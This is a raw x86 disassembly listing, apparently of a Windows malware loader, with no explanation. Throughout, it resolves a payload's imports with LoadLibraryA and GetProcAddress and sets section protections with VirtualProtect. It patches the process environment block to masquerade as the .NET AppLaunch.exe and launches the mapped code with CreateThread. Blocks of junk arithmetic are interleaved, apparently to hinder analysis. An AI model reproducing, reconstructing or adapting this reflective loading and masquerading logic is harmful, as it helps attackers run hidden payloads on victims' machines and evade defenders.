not esi
or esi, 0xe6
imul edx
and eax, 0x71
rcr eax, 0x8b
not ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x80]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x6c]
imul ecx, dword [ebp - 0x70], 0x14
add eax, ecx
cmp dword [eax + 0x10], 0
je 0x404fa4
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0xc]
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
sub esp, 4
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x404ed5
jmp 0x404f96
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x6c]
imul edx, dword [ebp - 0x70], 0x14
add ecx, edx
add eax, dword [ecx + 0x10]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x80], 0
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
cmp dword [eax + ecx*4], 0
je 0x404f91
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0x80]
add eax, dword [ecx + edx*4]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
mov eax, dword [eax + ecx*4]
movzx eax, ax
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x404f64
mov eax, dword [ebp - 0x84]
add eax, 2
mov ecx, dword [ebp - 0x78]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
mov dword [ebp - 0x88], eax
mov ecx, dword [ebp - 0x88]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x6c]
imul esi, dword [ebp - 0x70], 0x14
add edx, esi
add eax, dword [edx + 0x10]
mov edx, dword [ebp - 0x80]
shl edx, 2
add eax, edx
mov dword [eax], ecx
mov eax, dword [ebp - 0x80]
add eax, 1
mov dword [ebp - 0x80], eax
jmp 0x404eee
jmp 0x404f96
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x404e8f
mov dword [ebp - 0x90], 0
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x38]
movzx ecx, word [ecx + 6]
cmp eax, ecx
jge 0x405121
mov dword [ebp - 0x94], 0x40
mov eax, dword [ebp - 0x48]
imul ecx, dword [ebp - 0x90], 0x28
add eax, ecx
mov eax, dword [eax + 0x24]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40502d
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x40502d
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x40502d
mov dword [ebp - 0x94], 0x40
jmp 0x4050c8
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x405064
mov eax, dword [ebp - 0x98]
and eax, 0x80000000
cmp eax, 0
je 0x405064
mov dword [ebp - 0x94], 4
jmp 0x4050c3
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x40509b
mov eax, dword [ebp - 0x98]
and eax, 0x20000000
cmp eax, 0
je 0x40509b
mov dword [ebp - 0x94], 0x20
jmp 0x4050be
mov eax, dword [ebp - 0x98]
and eax, 0x40000000
cmp eax, 0
je 0x4050b9
mov dword [ebp - 0x94], 2
jmp 0x4050be
jmp 0x4050c3
jmp 0x4050c8
mov ecx, dword [ebp - 0x94]
mov eax, dword [ebp - 0x48]
imul edx, dword [ebp - 0x90], 0x28
add eax, edx
mov edx, dword [eax + 8]
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
imul edi, dword [ebp - 0x90], 0x28
add eax, edi
add esi, dword [eax + 0xc]
lea eax, [ebp - 0x8c]
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
mov eax, dword [ebp - 0x90]
add eax, 1
mov dword [ebp - 0x90], eax
jmp 0x404fae
sub ebx, 0x1b
neg eax
mov edi, 0xb9
dec ebx
and ebx, 0x27
imul edi
inc eax
sbb esi, 0xf7
and eax, 0xec
rcl esi, 0xcb
neg ebx
add esi, 0x4e
not edx
rcr esi, 0xa
bswap eax
neg eax
imul esi
sub eax, 0x9c
dec edi
bswap edi
inc ebx
imul edx
ror edi, 0xd4
rcl edi, 0x2d
imul edi
not esi
rcr edi, 0x8f
and esi, 0xc1
not eax
inc esi
mov edx, 0x80
imul eax
rcl eax, 0x2f
ror ebx, 0xca
neg ebx
imul edx
dec ebx
sbb edi, 0x6d
not esi
dec edx
and esi, 0xad
and edi, 0xd5
sbb edx, 0xff
neg edi
rcr eax, 0xbe
bswap esi
imul ebx
rcl esi, 0x5d
and edi, 0x90
sbb esi, 0xd8
dec esi
rol ebx, 0xed
rcl esi, 0x8d
imul eax
mov eax, 0xe5
rcr edi, 0x75
inc edx
or esi, 0xb6
not edx
ror ebx, 0xfc
add esi, 0xa5
and esi, 0x67
bswap edx
rol eax, 0x8b
mov eax, 8
or edi, 0xcc
sbb esi, 0xd7
inc edx
or edx, 0x21
imul eax
not ebx
mov edi, 0x42
rcr esi, 0x3a
rol ebx, 0xc3
neg eax
dec ebx
rol edi, 0xc8
add edx, 0x8a
rcl edi, 0xd2
ror edi, 0x10
imul esi
rcr eax, 0x66
bswap edx
inc esi
not edi
rol edx, 0x14
mov eax, 0x4b
rcl edi, 0x75
mov edi, 0x24
imul edi
mov ebx, 5
neg ebx
add edx, 0x37
not edi
or edx, 0x49
inc edi
add esi, 0x9f
bswap ebx
neg esi
dec ebx
bswap edx
sbb edi, 0xe6
bswap eax
not edi
mov eax, 0x91
inc ebx
dec eax
dec esi
ror esi, 0xe9
mov esi, 0x91
dec edx
neg ebx
rcr eax, 0xb1
and ebx, 0xef
dec ebx
imul edi
bswap ebx
rol ebx, 0x21
rol eax, 0xf8
bswap eax
sub edx, 2
bswap esi
dec esi
neg eax
or edx, 0x5d
imul esi
ror eax, 0x33
inc esi
sub ebx, 0xf1
or eax, 0x4d
rol esi, 0x66
inc esi
imul ebx
neg eax
bswap ebx
mov eax, 0xa8
inc esi
ror ebx, 0xce
neg edi
imul ebx
sbb edi, 0xac
dec eax
dec ebx
add ebx, 0x3b
not esi
rcl edi, 0xea
rol edx, 0x3b
not ebx
mov esi, 0xd0
or edi, 0x1d
mov dword [ebp - 0x10], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0xa0]
mov eax, dword [eax + 0x14]
sub eax, 8
mov dword [ebp - 0xa4], eax
add edi, 0x42
not edx
mov edx, 0xdf
mov edx, 0x2c
mov edx, 0x2d
sub eax, 0x96
not esi
imul edx
rcr esi, 0xf5
sub eax, 0x65
add ebx, 0xa4
dec esi
not ebx
bswap eax
or edx, 0x16
inc edx
inc eax
sub esi, 0xab
inc eax
bswap esi
ror ebx, 0x45
add eax, 0xb8
rol esi, 0x21
and ebx, 0x51
neg edi
add eax, 0x93
mov edx, 0x8e
sbb edi, 0xb3
bswap eax
and edi, 0x36
neg eax
sub esi, 0x1e
rol eax, 0x1d
sub eax, 0x57
add edi, 0x6b
dec edi
or esi, 0xe0
bswap esi
neg edx
and ebx, 0x35
and esi, 0x20
inc esi
rol edx, 0xd7
bswap ebx
not esi
bswap esi
neg edi
ror edi, 0xaa
sub esi, 0xa4
sub edx, 0xe0
add eax, 9
rcl edi, 4
bswap edx
rcr esi, 0xae
rcl ebx, 0x2a
and eax, 0x23
imul ebx
imul esi
add esi, 0x70
and edi, 0xf5
add edi, 0xe2
imul ebx
bswap edi
bswap esi
rcl esi, 0x73
neg eax
sub esi, 0x7c
dec edi
rcr ebx, 0xbc
bswap esi
dec ebx
not eax
bswap edx
add edx, 0xbe
and esi, 0xe9
dec edx
mov eax, 0x51
inc eax
not esi
sbb esi, 0x6f
sub esi, 0x81
and edx, 0x3c
sub esi, 0x6e
neg esi
rcr esi, 0x31
imul edx
imul edx
rcr ebx, 0x68
bswap ebx
dec edx
or eax, 0x1e
imul edx
or esi, 0x4c
sbb edi, 0x23
mov edx, 0xab
bswap eax
rcl edi, 0xd9
sbb eax, 0xe4
rcr eax, 0x72
neg esi
sbb edi, 0x7e
ror edi, 0x26
neg ebx
dec esi
imul esi
mov ebx, 0x9d
inc eax
bswap edx
sub ebx, 0x90
not edx
rcr edx, 0x64
sbb edx, 0x4a
sub edx, 0x6f
rcl edi, 0xd0
not edx
not edi
ror edx, 0x9f
and ebx, 0x4f
neg esi
rcr edi, 0x31
rol eax, 0x5c
mov edi, 0x2e
rol edx, 0xa
sub edi, 0xba
imul edx
imul esi
neg esi
rcl edx, 0x6d
neg ebx
not eax
sbb edx, 0x36
inc edi
not edi
imul ebx
bswap ebx
not eax
neg esi
sub esi, 0xfb
add edx, 0x95
mov edx, 0x8c
ror edi, 0x66
or esi, 0x97
mov edi, 0x4d
and ebx, 0xd9
sub ebx, 0xa6
inc ebx
not esi
ror edx, 0x8d
rol esi, 0x9b
inc edx
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x9c]
mov dword [eax + 8], ecx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0xa4]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0xa4]
add eax, 0x24
mov dword [ebp - 0xa8], eax
mov edi, 0xbd
and eax, 0xc2
mov edi, 0xec
sub edx, 0x76
ror edi, 0x9f
rol esi, 0xfb
imul eax
neg edi
ror esi, 0x2c
sbb esi, 0x2c
neg edx
and esi, 0x2d
ror edi, 0x72
ror eax, 0x78
not eax
neg eax
rol edx, 0x43
rcr edx, 0x4a
mov edx, 0x9c
not edi
imul edx
inc esi
and edi, 0xae
neg eax
neg ebx
add ebx, 0xa8
dec eax
ror edi, 0x65
dec ebx
ror ebx, 6
inc edi
sub edi, 0x19
add edi, 0x69
dec edx
or ebx, 0xc6
not eax
imul ebx
bswap eax
bswap eax
mov eax, 0x67
rcl ebx, 0x4c
sub edx, 0x38
rcr esi, 0xe6
imul edi
imul esi
mov eax, 0x86
add esi, 0x65
rol esi, 0xde
imul edi
rcr edi, 0x9a
and eax, 0xff
imul esi
ror eax, 0xb
mov edi, 0x38
sub ebx, 0xc4
add ebx, 0x2c
rcr edx, 0x54
imul ebx
mov edx, 0x82
neg edi
neg edx
sbb eax, 0x36
dec ebx
rol eax, 0x3d
dec ebx
mov eax, 0x63
not edi
ror ebx, 0x7f
neg edx
rol edi, 0x18
dec edx
or esi, 0xd7
bswap esi
mov edi, 0x88
dec ebx
rcr esi, 0x9a
rol eax, 0xa2
or edi, 0x27
and esi, 0xb6
add eax, 0xc0
add edx, 0xd1
add eax, 0x7a
dec eax
or edx, 0x31
rol edx, 0xd1
inc esi
inc ebx
inc edi
rol edx, 0xa8
or eax, 0x20
neg ebx
not ebx
not eax
imul edi
neg ebx
neg ebx
neg edx
bswap eax
or ebx, 1
sub ebx, 0x89
not edx
dec edi
or eax, 9
mov edi, 0xc9
imul edi
mov eax, 0xf5
imul esi
rcr edx, 0xba
ror ebx, 0x9a
and edi, 0x47
sbb edi, 0x77
and edi, 0x26
and edi, 0x73
or eax, 0x30
rol ebx, 0xae
bswap eax
sub edi, 0xc2
or ebx, 3
neg esi
dec ebx
bswap edi
sbb edx, 0x30
sub esi, 0x6c
and eax, 0xe
bswap eax
or edi, 0x17
neg ebx
and ebx, 0xe0
sub esi, 0x5a
not esi
dec eax
sbb eax, 0xfe
neg edi
dec ebx
rcr ebx, 0x3f
ror ebx, 0x52
bswap ebx
bswap esi
add eax, 0x86
bswap esi
inc ebx
rol edi, 0x78
rcl edi, 0xf7
imul ebx
add eax, 0x80
rol edx, 0x2a
sbb eax, 0x6a
not eax
mov ebx, 0x45
inc edi
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x122]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x7a
call fcn.0040a150
mov eax, dword [ebp - 0x38]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x123], al
test byte [ebp - 0x123], 1
je 0x40572d
mov eax, dword [ebp - 0xa8]
lea ecx, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a70
lea ecx, [ebp - 0x122]
mov eax, dword [ebp - 0xa8]
mov dword [eax + 4], ecx
lea eax, [ebp - 0x122]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
shl eax, 1
mov cx, ax
mov eax, dword [ebp - 0xa8]
mov word [eax], cx
bswap edx
rol edx, 0x32
inc edi
rcl ebx, 0x31
imul edi
bswap esi
rol ebx, 0xf6
or esi, 0x57
imul edi
rcr edi, 9
add edi, 0x2b
imul eax
rol edx, 0x5c
imul ebx
sbb edi, 0xff
imul ebx
not eax
sub edx, 0x1b
neg esi
rcl ebx, 0x4a
rcr eax, 7
mov edi, 0xf9
imul edi
rcl eax, 0xba
imul ebx
inc esi
bswap esi
bswap ebx
or edi, 0x7d
dec ebx
and edx, 0x1a
or esi, 0xda
imul esi
ror edi, 0x4b
rol eax, 0xbd
imul edx
sub eax, 0x4c
not esi
inc ebx
and ebx, 0x31
rcr ebx, 0xe
sub ebx, 0x89
or ebx, 0x68
imul eax
sbb ebx, 0x7b
bswap edx
or esi, 0x76
inc eax
not ebx
sbb edi, 0x2a
add edi, 0x9f
imul esi
neg eax
rcl ebx, 0x7b
not edi
and eax, 0x58
add edx, 0xb
dec ebx
sub edi, 7
ror eax, 0xe4
dec eax
dec edi
imul edx
inc eax
rol eax, 0xa9
neg esi
rcl ebx, 0xf6
mov esi, 0x22
not edi
rcr edx, 0x3d
and eax, 0x22
bswap esi
not esi
imul edi
neg edi
sbb eax, 0xdd
imul edi
sbb edi, 0x34
not edi
dec ebx
inc edi
inc edx
ror edi, 0xcd
inc edi
rcl esi, 0x7b
and edx, 0xfc
inc edi
inc edx
inc edi
rcr edx, 0xa1
rol edi, 0xb
rcl esi, 0x4a
neg edi
sub esi, 0x85
neg ebx
dec edi
rol edx, 0x9c
bswap eax
mov edx, 0x59
dec eax
inc eax
sbb ebx, 0x67
not esi
imul esi
and esi, 0x9b
neg edi
not edi
not ebx
dec eax
dec esi
or esi, 0xba
mov eax, 0xbd
sub edi, 0xd6
rol edi, 0x35
rcr esi, 0x5d
bswap edi
sub edi, 0x4e
not edi
dec ebx
add eax, 0x84
ror esi, 0x3e
bswap edx
mov ebx, 6
imul esi
sbb esi, 0x41
inc edx
bswap edi
rcr ebx, 0xd4
imul edx
imul ebx
mov edx, 0x77
or eax, 0x6b
neg esi
sbb ebx, 0xd0
mov edx, 0xd0
inc esi
or eax, 0x90
bswap esi
inc ebx
or eax, 0xe6
and eax, 0xec
or edx, 0xb4
inc ebx
imul ebx
sub edi, 0xcd
dec edi
dec esi
bswap eax
not eax
sub eax, 0x70
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, dword [ecx + 0x28]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x130], eax
test byte [ebp - 0x123], 1
je 0x405945
mov dword [esp], 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
sub esp, 4
mov ecx, dword [ebp - 0xa8]
lea eax, [ebp - 0x12c]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 8
call fcn.00403a70
mov eax, dword [ebp - 0x130]
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
sub esp, 8
mov eax, 0x81
neg edx
mov eax, 0xd3
or eax, 0xd0
neg eax
not esi
mov edx, 0x56
neg edi
inc ebx
add edi, 0x59
rcl eax, 0x14
bswap eax
add edx, 0x9a
bswap eax
dec edi
add edx, 0x35
rol esi, 0x78
imul ebx
inc esi
not esi
not edx
rol ebx, 0xbe
inc edi
imul esi
sbb eax, 0x95
not edi
rol edi, 0xe1
ror eax, 0xdd
bswap ebx
mov ebx, 0x5b
not ebx
add eax, 0x50
not ebx
rcr edi, 0xe0
rcr esi, 0x40
imul eax
imul eax
not eax
neg eax
and edi, 0x79
add edx, 0xd0
sbb edx, 0x85
rcr edi, 0xe
neg edi
imul edi
imul edx
rol edx, 0xba
imul edi
ror esi, 0x46
ror eax, 0xe3
mov edi, 0x31
inc edi
imul esi
not esi
sbb edi, 0xb0
rcl ebx, 0x8e
neg edx
dec esi
mov eax, 0xf
sub eax, 0xd5
rcl esi, 0x26
inc esi
or eax, 0x4e
dec eax
not esi
dec ebx
inc eax
rcr esi, 0x7b
bswap esi
or edi, 0x97
mov edi, 0xbf
imul eax
sub eax, 0x40
rcr edi, 0xfd
dec edx
dec esi
bswap edi
or eax, 0xb
rol edx, 0x37
rcr eax, 0x10
dec ebx
inc esi
imul edx
dec eax
inc edx
ror esi, 0x3c
dec ebx
sub edi, 0x1b
inc eax
or eax, 9
sbb eax, 0x58
sbb ebx, 0x77
and esi, 0xb8
rol eax, 0xd9
bswap ebx
ror eax, 0xcf
bswap eax
mov eax, 0x3a
and ebx, 0x7e
neg esi
mov ebx, 0x65
imul edx
sub ebx, 0x63
sbb eax, 0xaa
bswap edi
add ebx, 0x7b
mov edx, 0x17
sbb eax, 0x63
rcl eax, 0x3e
add edi, 0xca
not esi
add edi, 0x4b
bswap edi
and ebx, 0x57
sub ebx, 6
rcr edx, 0x2a
not edi
mov esi, 0x50
imul esi
rcr edx, 0xbc
rol esi, 0x2f
mov edx, 0x62
inc esi
ror ebx, 0xd0
and ebx, 0x52
dec ebx
or eax, 0xf8
add ebx, 0x21
rcr edx, 0xdc
rol edx, 0x14
ror esi, 0x19
bswap eax
imul edx
inc eax
and edi, 0xe8
dec ebx
ror edx, 0xfc
add edx, 0x29
or esi, 0xb6
mov edi, 0xfb
dec esi
rol eax, 0x5b
ror ebx, 0xaa
rcr ebx, 0x65
not esi
imul ebx
add ebx, 0xc1
add eax, 0xa8
inc esi
inc ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add esp, 0x144
pop esi
pop edi
pop ebx
pop ebp
ret